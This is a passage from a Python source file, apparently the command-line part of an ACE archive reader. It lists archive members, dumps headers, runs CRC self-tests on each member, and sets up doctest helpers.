am.comptype, am.compqual, 4115 | hex(am.dicsizebits - 10)[2:], 4116 | ft, en, ns, 4117 | am.size, 4118 | am.packsize, 4119 | ratio, 4120 | am.datetime.strftime('%Y-%m-%d %H:%M:%S'), 4121 | am.filename)) 4122 | if am.comment: 4123 | eprint(asciibox(am.comment, title='file comment')) 4124 | count_size += am.size 4125 | count_packsize += am.packsize 4126 | count += 1 4127 | eprint("total %i members, %i bytes, %i bytes compressed" % ( 4128 | count, count_size, count_packsize)) 4129 | else: 4130 | for fn in f.getnames(): 4131 | print("%s" % fn) 4132 | 4133 | elif args.mode == 'headers': 4134 | f.dumpheaders() 4135 | 4136 | elif args.mode == 'selftest': 4137 | eprint('dumpheaders():') 4138 | f.dumpheaders() 4139 | eprint('-' * 78) 4140 | eprint('getnames():') 4141 | for fn in f.getnames(): 4142 | eprint("%s" % fn) 4143 | eprint('-' * 78) 4144 | eprint('testall():') 4145 | rv = f.testall() 4146 | if rv != None: 4147 | eprint("Test failed: member %s is corrupted" % rv) 4148 | sys.exit(1) 4149 | eprint('-' * 78) 4150 | eprint('test() in order:') 4151 | for member in f: 4152 | if f.test(member): 4153 | eprint("%s: CRC OK" % member.filename) 4154 | else: 4155 | eprint("%s: CRC FAILED" % member.filename) 4156 | sys.exit(1) 4157 | eprint('-' * 78) 4158 | eprint('test() in reverse order:') 4159 | for member in reversed(f.getmembers()): 4160 | if f.test(member): 4161 | eprint("%s: CRC OK" % member.filename) 4162 | else: 4163 | eprint("%s: CRC FAILED" % member.filename) 4164 | sys.exit(1) 4165 | # end of with open 4166 | 4167 | except AceError as e: 4168 | if DEBUG: 4169 | raise 4170 | eprint("%s: %s: %s" % (args.archive, type(e).__name__, e)) 4171 | sys.exit(1) 4172 | 4173 | sys.exit(0) 4174 | 4175 | 4176 | 4177 | def testsuite(): 4178 | import doctest 4179 | return doctest.DocTestSuite(optionflags=doctest.IGNORE_EXCEPTION_DETAIL) 4180 | 4181 | def test(): 4182 | import doctest 4183 | fails, tests = doctest.testmod(optionflags=doctest.IGNORE_EXCEPTION_DETAIL) 4184 | sys.exit(min(1, fails)) 4185 | 4186 | 4187 | 4188 | if __name__ == '__main__': 4189 | if '--doctest' in sys.argv: 4190 | test() 4191 | unace() 4192 | --------------------------------------------------------------------------------